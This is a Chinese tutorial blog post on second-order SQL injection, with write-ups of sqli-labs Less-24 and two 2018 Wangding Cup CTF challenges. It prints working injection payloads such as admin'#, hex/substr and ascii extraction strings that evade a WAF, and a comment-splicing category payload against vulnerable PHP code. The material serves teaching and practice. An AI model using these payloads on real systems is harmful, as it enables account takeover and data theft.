当前位置: 首页 > article >正文

WEB安全--SQL注入--二次注入

一、原理:

        二次注入的关键在于攻击者的输入并不立即执行,而是经过某些存储或处理后,在后续某个步骤中再触发注入攻击

二、示例:

        2.1、sqli-labs-master/less-24:

admin'#

                第一次在网页注册账号和密码时没有漏洞,但是我们将admin'# 123456这样的用户名和密码注册到数据库,

再进入修改界面修改该用户密码时,我们注册的用户名中的特殊符号就起作用了,因为在注册的时候 '# 会被waf过滤转译,但是存入数据库中的是 admin'#,

但是如果我们要修改时后端代码又会通过$session将数据库中的信息(admin'#)拿出来,而这个污染信息就会将数据库的搜索语句注释,

所以我们修改的就是admin的密码,也就是数据库管理员的密码

        2.2、网鼎杯2018 Unfinish绕过:

#用经验判断该网页有注册界面或者用扫描工具检测其有哪些目录我们会得到
/register.php
#用注册后的账号密码登录后界面只显示我们的用户名,所以只能从用户名下手

#当我们注册用户名时,发现有waf,我们再用burpsuite+fuzz字典后发现[, information ' ]等都被过滤了,
所以后面在用户名上编写的payload语句就得想办法不使用这几个关键字,从而绕过waf

#此时我们先判断后端是怎样编写数据库插入信息语句的,应该是
--先过滤
$username = check_input($_POST['username'])
--后插入
$insert="INSERT INTO USERS(`email`,`username`,`password`) VALUES ('$email','$username','$password')"
#官方payload
email:    test@qq.com
username: 0'+(select hex(hex(database())))+'0
password: 123456

        两次hex转十六进制是确保转出来的都是数字,只有数字和0相加才能得到其原本值,但是两次转hex的字符串过长,会被数据库用科学计数法处理,这样又会丢失数据,于是我们使用substr()函数将其分段(从1 到 10)截取出来,这里为了避免写逗号使用了substr的另一种写法:substr(string from start for end)

username: 0'+(select substr(hex(hex(database()))from 1 for 10))+'0

        通过这种方式,我们就能得到主页面的用户名回显,依次截取出的数据再将他们拼接在一起反转两次十六进制就能得到数据。

不过这里还有另一种写法,不用hex处理的方式:

username: 0'+ascii(substr(database() from 1 for 10))+'0

        一般ctf答案的表名都在当前库,其名称通常为flag,所以下面两种解法应运而生:

#第一种
0'+(select substr(hex(hex(select * from flag))from A for B))+'0

#第二种
0'+ascii(substr((select * from flag) from A for B))+'0

        2.3、网鼎杯2018 Comment:

        代码:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
  
        
//第一个case        
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
        
        
//第二个case        
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
        
        
        
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

通过上述代码我们可以看到我们在第一个case中输入的值都被addslashes()处理过了,那么在上面写一些注入语句显然是没有用的,因为单引号被转译了。

不要灰心,我们再看看第二个case,首先如果用户要评论得先输入bo_id,而bo_id也被addslashes()处理后再放入数据库查询语句中,这里也不是注入点;然后继续往下,我们就发现了它“$category = mysql_fetch_array($result)['category'];”,显然category这个值是直接从数据库中拿出来的,并且没有被处理过,然后直接放入下面的insert语句中了;那我们就得想想能否在“category”上下功夫了,显然这是个漏洞:

#通过分析我们可以知道,用户先在case 'write'注册一些信息,然后在用户评论时
也就是case 'comment'数据库会抽出用户第一次注册的'category',并且没有对其做处理。
#结合对二次注入的理解,那我们的注入思路不就有了:
--第一次输入时写
category:    ',content=(user()),/*
title:       a
content:     */#

--此时第二个case中的insert语句be like:

$sql = "insert into comment
            set category = '',content=(user()),/*',
                content = '*/#',
                bo_id = '$bo_id'";
     
     #也就是
     $sql = "insert into comment
            set category = '',
            content=(user()),
            /*',
                content = '*/#',
                bo_id = '$bo_id'";
                
     content=(user())这条语句就被执行了,然后爆出的信息就会被插入在content中然后被页面显示出来。


http://www.kler.cn/a/548118.html

相关文章:

  • haproxy详解笔记
  • 【第9章:计算机视觉实战—9.3 计算机视觉在医疗影像分析中的应用案例】
  • 机器学习实战(3):线性回归——预测连续变量
  • 恩智浦:将开发文档迁移到DITA/XML
  • AWS Fargate 部署流程图及说明
  • Visual Studio Code支持WSL,直接修改linux/ubuntu中的文件
  • unity 为什么保存场景时要求重新选择文件夹
  • Qt的QTreeWidget样式设置
  • C++ Primer 参数传递
  • Docker Desktop之Nginx
  • 机器学习数学基础:23.二次型及其标准形
  • 数据结构6
  • 如何让内网下其他主机直接通过 ip 访问docker overlay 网段下对应容器?
  • WRF与神经网络结合算法
  • 【Linux网络-网络基础】计算机网络背景+协议+OSI七层模型
  • 【机器学习】数据集合集!
  • React echarts柱状图点击某个柱子跳转页面
  • ABC393E/F简要题解
  • 基于web的留守儿童网站的设计与实现
  • 《当DeepSeek遇上豆包:AI大模型的华山论剑》